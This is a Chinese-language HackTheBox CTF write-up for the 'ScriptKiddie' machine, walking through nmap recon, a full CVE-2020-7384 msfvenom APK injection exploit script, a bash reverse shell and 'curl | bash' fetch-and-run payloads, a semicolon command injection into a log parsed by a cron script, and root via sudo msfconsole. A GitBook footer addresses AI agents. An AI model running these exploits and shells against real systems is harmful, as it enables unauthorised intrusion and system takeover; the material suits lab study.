> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md).

# Scriptkiddie HackTheBox 详解

{% embed url="<https://app.hackthebox.com/machines/ScriptKiddie>" %}

{% hint style="warning" %}
技能：

* Msfvenom 利用（CVE-2020-7384）（RCE）
* 滥用日志 + Cron 任务（命令注入和用户切换）
* 滥用 sudoers 权限（Msfconsole 权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/27f18e2d1898d4fcb2d93e57ae81c74bb3fc02db" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/8ab504e7bd577aa2d9d47f30203cb16c5c06a33a" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.226 -oG allPorts
```

<figure><img src="/files/ccb30281ff5ba667226c91952045b17d6327b46f" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,5000 10.10.10.226 -oN targeted
```

<figure><img src="/files/ea5440dd8a1a18051ae444f1e1199e1e6ea9a71e" alt=""><figcaption></figcaption></figure>

## 端口 5000 - Msfvenom APK TCI 利用

<figure><img src="/files/bd1a492903e0ca01d5786cf7b9403343c9b49457" alt=""><figcaption></figcaption></figure>

我们识别出一个在端口 5000 上运行的易受攻击服务。

<figure><img src="/files/240366584782e4e5fd89a66e9af193a5686a29ce" alt=""><figcaption></figcaption></figure>

我们搜索相关漏洞：

```bash
searchsploit -m multiple/local/49491.py
```

我们发现了一个可能通过 APK 进行的注入。

<figure><img src="/files/7b4869668572fb43a6e4bce58e3139ba7938e82e" alt="" width="557"><figcaption></figcaption></figure>

**利用脚本（msfvenom-exploit.py）**

```bash
python3 msfvenom-exploit.py
```

```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# 修改我
payload = 'ping 10.10.14.50'

# 使用 b64encode 以避免坏字符（keytool 很挑剔）
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"

print(f"[+] 正在制作恶意 apk 文件")
print(f"载荷：{payload}")
print(f"-dname：{dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# 创建空文件
open(empty_file, "w").close()

# 创建 apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# 使用恶意的 -dname 生成签名密钥
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# 使用我们的恶意 dname 对 APK 进行签名
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] 完成！apk 文件位于 {apk_file}")
print(f"执行：msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```

该脚本会生成一个包含恶意 APK 的临时文件。

<figure><img src="/files/972e0d9938bb11abab23dc8a0cbbf95fecfc7edf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3e0957bb23d156069155b8a4bf91e4d476123d1a" alt=""><figcaption></figcaption></figure>

**ICMP 数据包分析**

我们监控网络活动以检测回传：

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/f7ac6d1192f6d8a478d2470cff19121114059760" alt=""><figcaption></figcaption></figure>

### **使用 Msfvenom 进行 RCE 利用**

我们修改 payload 以建立反向连接：

```bash
# 修改我
payload = 'curl 10.10.14.50 | bash'
```

我们创建一个 `index.html` 包含以下内容的文件：

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

我们启动一个 HTTP 服务器：

```bash
python3 -m http.server 80
```

然后，我们在 443 端口上监听连接：

```bash
nc -nlvp 443
```

一旦 APK 被发送到目标机器并执行，我们就会获得一个远程 shell。

<figure><img src="/files/2e89453a81403681bcbf9d208bb00222f691fbce" alt=""><figcaption></figcaption></figure>

#### 我们正在改进终端以获得更好的交互性：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :)

<figure><img src="/files/058b04aaa4d62b7d07397b27f17f1549f65c4b5f" alt="" width="563"><figcaption></figcaption></figure>

## **权限提升**

### 切换到用户 pwn

我们找到一个脚本 `scanlosers` 在用户的目录中 `pwn`:

```bash
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
```

这个脚本会处理日志并执行 `nmap`，这可以被利用来进行权限提升。

<figure><img src="/files/b532e13c7e53e69590744454ea934e5dba301927" alt=""><figcaption></figcaption></figure>

思路是利用按第三个单词过滤的特性注入命令。我们可以插入一个分号 `;` 后跟一个恶意命令，例如 `curl` 到攻击者控制的服务器。

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 #" > /home/kid/logs/hackers
```

这会导致向我们的服务器发出一个 HTTP 请求。

<figure><img src="/files/f99f8df9d2f30d0506181f232f628e959a10bf91" alt=""><figcaption></figcaption></figure>

我们在自己的机器上监听：

```bash
nc -nlvp 443
```

然后，我们注入一个命令以获取远程 shell：

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 | bash #" > /home/kid/logs/hackers
```

<figure><img src="/files/a13d6bd2e6a9d47ff6deab13f47c9380957263be" alt=""><figcaption></figcaption></figure>

### Sudo - Metasploit

我们检查 `sudo` 权限：

```bash
sudo -l
```

<figure><img src="/files/23af53c4b8082c6b183405544ba1944a4bfde646" alt=""><figcaption></figcaption></figure>

我们发现我们可以执行 `Metasploit` 作为 `root`:

```bash
sudo /opt/metasploit-framework-6.0.9/msfconsole
```

<figure><img src="/files/9269426d309b77c3e6ec54722e834e35b73ac106" alt=""><figcaption></figcaption></figure>

在 `msfconsole`，我们打开一个交互式 Ruby shell：

```ruby
irb
```

然后我们运行一个 Bash shell：

```ruby
system("/bin/bash")
```

我们现在 `root` 并且可以读取 `root.txt` flag！🎉

<figure><img src="/files/14e4ac5ec6bffafdc915245a9af96b180ae035a2" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/a5d25470fcff92c97e02ce88c4b5a64d68e3df3d" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/08c915a36c46d8e6d52f9310701bd970212a23a0" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
